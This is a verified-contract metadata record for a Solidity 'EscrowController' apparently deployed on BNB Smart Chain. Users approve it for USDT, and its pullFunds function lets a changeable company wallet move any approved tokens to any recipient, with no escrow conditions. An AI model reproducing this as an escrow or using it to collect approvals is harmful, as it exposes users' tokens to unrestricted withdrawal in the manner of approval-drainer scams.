{"metadata":{"compiler":{"version":"0.8.31+commit.fd3a2265"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_companyWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FundsPulled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UserApprovalNotified","type":"event"},{"inputs":[],"name":"companyWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"notifyApproval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"pullFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_new","type":"address"}],"name":"setCompanyWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}],"devdoc":{"kind":"dev","methods":{"pullFunds(address,address,address,uint256)":{"params":{"amount":"token amount (in token decimals)","recipient":"address that should receive the tokens","token":"ERC20 token contract address (e.g. USDT on BSC)","user":"the address that previously approved this contract"}}},"version":1},"userdoc":{"kind":"user","methods":{"notifyApproval(uint256)":{"notice":"Called by user after they call approve(usdt, escrowAddress, amount) on the token. Emits an event you can watch (or rely on tx hash) to confirm the approval."},"pullFunds(address,address,address,uint256)":{"notice":"Company pulls funds from a user to a recipient. Company must be caller."}},"version":1}},"settings":{"compilationTarget":{"usdtescrow.sol":"EscrowController"},"evmVersion":"osaka","libraries":{},"metadata":{"bytecodeHash":"ipfs"},"optimizer":{"enabled":false,"runs":200},"remappings":[]},"sources":{"usdtescrow.sol":{"keccak256":"0x50e4e5e29b97c96530226f1603dcf57d94236c1965977fb27e59da09bead87fc","license":"MIT","urls":["bzz-raw://5fb86ec024a5f192905df9f6bb90b1504c0e02b804d469ec7e4103cff817422d","dweb:/ipfs/QmTvAYLxCNDccHnw7WdLMYCMCgaAobEPc2ATfAXEuDMNMa"]}},"version":1},"sources":{"usdtescrow.sol":{"content":"//SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\ninterface IERC20 {\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ncontract EscrowController {\n    address public companyWallet;\n\n    event UserApprovalNotified(address indexed user, uint256 amount);\n    event FundsPulled(address indexed token, address indexed user, address indexed recipient, uint256 amount);\n\n    constructor(address _companyWallet) {\n        require(_companyWallet != address(0), \"company wallet required\");\n        companyWallet = _companyWallet;\n    }\n\n    /// @notice Called by user after they call approve(usdt, escrowAddress, amount) on the token.\n    /// Emits an event you can watch (or rely on tx hash) to confirm the approval.\n    function notifyApproval(uint256 _amount) external {\n        emit UserApprovalNotified(msg.sender, _amount);\n    }\n\n    /// @notice Company pulls funds from a user to a recipient. Company must be caller.\n    /// @param token ERC20 token contract address (e.g. USDT on BSC)\n    /// @param user the address that previously approved this contract\n    /// @param recipient address that should receive the tokens\n    /// @param amount token amount (in token decimals)\n    function pullFunds(address token, address user, address recipient, uint256 amount) external {\n        require(msg.sender == companyWallet, \"only company can pull funds\");\n        require(token != address(0) && user != address(0) && recipient != address(0), \"invalid addresses\");\n        require(amount > 0, \"amount must be > 0\");\n\n        bool ok = IERC20(token).transferFrom(user, recipient, amount);\n        require(ok, \"transferFrom failed\");\n\n        emit FundsPulled(token, user, recipient, amount);\n    }\n\n    // Admin helper to change companyWallet if ever needed\n    function setCompanyWallet(address _new) external {\n        require(msg.sender == companyWallet, \"only company\");\n        require(_new != address(0), \"invalid\");\n        companyWallet = _new;\n    }\n}"}},"matchId":"14137966","creationMatch":"exact_match","runtimeMatch":"exact_match","verifiedAt":"2026-01-19T11:23:05Z","match":"exact_match","chainId":"56","address":"0x678A4efd236b49e95Ff147294a03B2e7eEd490C5"}